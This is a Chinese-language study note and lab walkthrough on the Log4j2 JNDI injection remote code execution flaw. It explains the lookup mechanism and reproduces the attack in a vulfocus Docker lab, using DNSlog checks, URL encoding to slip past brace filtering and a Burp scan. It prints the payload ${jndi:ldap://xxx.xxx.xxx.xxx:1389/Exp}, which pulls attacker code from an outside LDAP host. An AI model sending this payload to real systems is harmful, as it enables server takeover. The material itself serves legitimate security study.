漏洞复现
漏洞复现2
这个框架不是web框架了,不是服务器web网站框架了,是java日志框架,就是记录日志信息,每一个程序都有一个日志文件,这个就是java里面记录日志的一个框架,它存在的点也是日志框架那几个代码里面的
log4j2代码原理
背景
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
log4j2远程代码执行漏洞主要由于存在JNDI注入(java名称目录接口)漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒
经分析,log4j2是全球使用广泛的java日志框架,同时该漏洞还影响很多全球使用量的Top序列的通用开源组件
API接口:应用程序编程接口–API接口把他看作是两个软件之间的桥梁,通过API接口不同软件之间就可以实现互相调用或则交换数据。
本来你没有,你要向第三方获取数据,数据的接口也就被称作为API接口
2021年12月9日,国内多家机构监测到Apache Log4j2存在任意代码执行漏洞,并紧急通报相关情况。由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。鉴于Apache Log4j本身涉及多种应用组件,将此漏洞威胁等级调整为:严重。
影响版本
Log4j2.x<=2.14.1
漏洞原理
我们在很多漏洞复现文章看到构造的payload是这样的${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}
该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。
Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
${}是“EL表达式”的一个常规的表示方式。它的目的是来获得{}中那些指定的对象的值,比如参数或者对象的值
LDAP是什么
LDAP全称是Lightweight Directory Access Protocol( 轻型目录访问协议),LDAP可以理解是一个简单存储数据的数据库
LDAP有一个客户端和服务器端,server端是用来存放资源,client端主要用于查询等操作。服务端都是有各大厂商的产品的比如Microsoft的AD,当然可以自己做。客户端通过LDAP协议去访问服务器端。
所以上述的payload ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}就相当于ldap通过jndi来提供服务。xxx.xxx.xxx.xxx这个是LDAP服务器端的IP地址,LDAP服务器是默认开启1389端口的,Exp是一个不存在的文件名
JNDI :JAVA NAMING AND Directory interface,Java命名和目录接口),则是Java中用于访问LDAP的API,是为了Java程序访问命名服务和目录服务而提供的统一API。
说白了,就是通过java中的JNDI 访问ldap协议的服务
Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。
Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。
远程代码执行漏洞,是利用了Log4j2可以对日志中的“${}”进行解析执行,来进行攻击的。
漏洞复现
1、拉取docker环境
docker pull vulfocus/log4j2-rce-2021-12-09
2、启动环境- 查看镜像
docker images
(开启环境,也可以替换8080端口避免冲突 报错重启 systemctl restart docker fofa靶场 vulfocus靶场安装)
3、启动并端口映射
docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
发现url中有payload这个可以试着传参
我们借助Dnslog获取一个域名
这里报400错误,一般是客户端请求包有错误
1)正常来测试,发现这里主要对{}产生过滤。
2)将payload进行url编码
然后进行url编码之后再去访问
通过访问那个域名网站之后,它的这个服务器后面会去做一个映射,如果这个网站存在这个漏洞,那么它就会访问这个网站, 只要一访问这个网站它就会得到网站的ip地址,说明我的服务器解析了这个代码,说明那个我的这个网站存在这个漏洞
漏洞复现2
先进入靶场目录
然后第一次使用靶场使用
docker-compose up -d
启动成功
使用bp插件,扫描这个网站,这个加号代表访问的这个url存在远程命令执行
在这个网站里面1,所有可能存在远程命令执行的参数,都会给它加上对应的POC